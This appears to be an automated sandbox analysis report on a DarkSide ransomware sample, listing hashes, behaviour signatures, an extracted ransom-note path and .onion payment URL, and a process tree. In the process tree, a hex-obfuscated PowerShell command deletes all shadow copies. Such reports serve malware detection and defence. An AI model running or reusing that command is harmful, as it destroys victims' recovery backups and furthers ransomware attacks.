Analysis
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max time kernel
1773s -
max time network
1785s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
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submitted
13-09-2022 17:54
General
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Target
RansomwareSamples/DarkSide_01_05_2021_30KB.exe
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Size
30KB
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MD5
f00aded4c16c0e8c3b5adfc23d19c609
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SHA1
86ca4973a98072c32db97c9433c16d405e4154ac
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SHA256
4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a
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SHA512
a2697c2b008af3c51db771ba130590e40de2b0c7ad6f18b5ba284edffdc7a38623b56bc24939bd3867a55a7d263b236e02d1f0d718a5d3625402f2325cbfbedf
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SSDEEP
768:lXnIczxCbTRNl71wHpZQgYI1TQPB3aYJEOW:hIMxCXd1+pZQgYIxk3vJE
Malware Config
Extracted
C:\\README.8c94de27.TXT
darkside
http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 16 IoCs
Ransomware generally changes the extension on encrypted files.
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UPX packed file 3 IoCs
Detects executables packed with UPX/modified UPX open source packer.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
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Modifies Control Panel 1 IoCs
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Modifies registry class 5 IoCs
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Suspicious behavior: EnumeratesProcesses 4 IoCs
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Suspicious use of AdjustPrivilegeToken 25 IoCs
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Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_01_05_2021_30KB.exe"C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_01_05_2021_30KB.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
3KB
MD5556084f2c6d459c116a69d6fedcc4105
SHA1633e89b9a1e77942d822d14de6708430a3944dbc
SHA25688cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA5120f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5d336b18e0e02e045650ac4f24c7ecaa7
SHA187ce962bb3aa89fc06d5eb54f1a225ae76225b1c
SHA25687e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27
SHA512e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18
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memory/764-132-0x0000000000200000-0x0000000000217000-memory.dmpFilesize
92KB
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memory/764-133-0x0000000000200000-0x0000000000217000-memory.dmpFilesize
92KB
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memory/764-140-0x0000000000200000-0x0000000000217000-memory.dmpFilesize
92KB
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memory/3208-134-0x0000000000000000-mapping.dmp
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memory/3208-135-0x000001C467B10000-0x000001C467B32000-memory.dmpFilesize
136KB
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memory/3208-136-0x00007FFE1B640000-0x00007FFE1C101000-memory.dmpFilesize
10.8MB
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memory/3208-137-0x00007FFE1B640000-0x00007FFE1C101000-memory.dmpFilesize
10.8MB